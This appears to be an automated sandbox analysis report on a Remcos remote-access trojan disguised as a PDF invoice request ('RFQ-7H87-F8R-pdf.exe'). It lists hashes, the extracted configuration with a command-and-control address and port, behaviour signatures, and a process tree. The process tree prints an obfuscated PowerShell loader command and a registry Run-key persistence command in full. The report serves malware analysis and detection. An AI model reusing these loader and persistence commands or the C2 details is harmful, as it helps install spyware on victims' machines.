Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
13-08-2024 12:59
Static task
static1
Behavioral task
behavioral1
Sample
RFQ-7H87-F8R-pdf.exe
Resource
win7-20240708-en
General
-
Target
RFQ-7H87-F8R-pdf.exe
-
Size
1.1MB
-
MD5
cb51d861a22f76d51151f7012543c356
-
SHA1
e9fb05f464ee886239db485e7ee764a036778f77
-
SHA256
3b97b5da457f961783873c0c1f09924e4e1b16931811a9118a6185290103b918
-
SHA512
5a4d7288c1b3a943e97ea754e5a741b90d822b8beb5e496cdc3dbd5c9107597ecc1b60aaaa296774c77832a6967b2bd0b2e14d48e3f64a368397c1dfd31898ee
-
SSDEEP
24576:nPYmu2QnZI/uOnFFhCaMfXa1QhNBQVjTRUKrkeS+2rbFeL:9QUCJasNBQVRTHm/c
Malware Config
Extracted
remcos
RemoteHost
45.95.169.139:2403
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-51282S
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\Helias = "%Sicknessproof% -windowstyle minimized $Housecleaning=(Get-ItemProperty -Path 'HKCU:\\Chenillernes\\').Rytmisere;%Sicknessproof% ($Housecleaning)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid Process 1500 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid Process 2972 powershell.exe 1500 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid Process procid_target PID 2972 set thread context of 1500 2972 powershell.exe 34 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
reg.exeRFQ-7H87-F8R-pdf.exepowershell.exewab.execmd.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RFQ-7H87-F8R-pdf.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wab.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepid Process 2972 powershell.exe 2972 powershell.exe 2972 powershell.exe 2972 powershell.exe 2972 powershell.exe 2972 powershell.exe 2972 powershell.exe 2972 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid Process 2972 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 2972 powershell.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
RFQ-7H87-F8R-pdf.exepowershell.exewab.execmd.exedescription pid Process procid_target PID 2076 wrote to memory of 2972 2076 RFQ-7H87-F8R-pdf.exe 30 PID 2076 wrote to memory of 2972 2076 RFQ-7H87-F8R-pdf.exe 30 PID 2076 wrote to memory of 2972 2076 RFQ-7H87-F8R-pdf.exe 30 PID 2076 wrote to memory of 2972 2076 RFQ-7H87-F8R-pdf.exe 30 PID 2972 wrote to memory of 1500 2972 powershell.exe 34 PID 2972 wrote to memory of 1500 2972 powershell.exe 34 PID 2972 wrote to memory of 1500 2972 powershell.exe 34 PID 2972 wrote to memory of 1500 2972 powershell.exe 34 PID 2972 wrote to memory of 1500 2972 powershell.exe 34 PID 2972 wrote to memory of 1500 2972 powershell.exe 34 PID 1500 wrote to memory of 2436 1500 wab.exe 35 PID 1500 wrote to memory of 2436 1500 wab.exe 35 PID 1500 wrote to memory of 2436 1500 wab.exe 35 PID 1500 wrote to memory of 2436 1500 wab.exe 35 PID 2436 wrote to memory of 1448 2436 cmd.exe 37 PID 2436 wrote to memory of 1448 2436 cmd.exe 37 PID 2436 wrote to memory of 1448 2436 cmd.exe 37 PID 2436 wrote to memory of 1448 2436 cmd.exe 37
Processes
-
C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe"C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized " $Cocytus=Get-Content 'C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne';$Ambassadrmde=$Cocytus.SubString(57807,3);.$Ambassadrmde($Cocytus)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2972 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helias" /t REG_EXPAND_SZ /d "%Sicknessproof% -windowstyle minimized $Housecleaning=(Get-ItemProperty -Path 'HKCU:\Chenillernes\').Rytmisere;%Sicknessproof% ($Housecleaning)"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2436 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helias" /t REG_EXPAND_SZ /d "%Sicknessproof% -windowstyle minimized $Housecleaning=(Get-ItemProperty -Path 'HKCU:\Chenillernes\').Rytmisere;%Sicknessproof% ($Housecleaning)"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:1448
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
56KB
MD599360cbea01ba5d275ab8d13defef9e6
SHA1877c8b2a325b989afd8692043026cdfe45ee2864
SHA2566b66692c69cfb96bfb20a35c1b810ececaa9c3e1674e35ec46bd93108b12d4a0
SHA51222236972fe8232239d37602dd41f828f52a820c76bb2407ee02c09b89472f6d5d5c252ba638ea281c9922f793af8cf2b67bbc61c3c9ac29c904eadb54784b303
-
Filesize
348KB
MD5c5193b51055addd729bd7160c6612044
SHA10cc227f487327ac49a0a582ba8014d92d120207f
SHA25618e4703c2fd844f8a5d2bfe938b1ee9ced57092d9a80bca98a7caafb4954df3c
SHA51267b8a069575fd7d11d12a3794e3e101a655546dfb3e216ef2700704db9c9cee7ed358376b89d031cb2a0d2f2c357eff59555701403c185476c18ab84633e93b9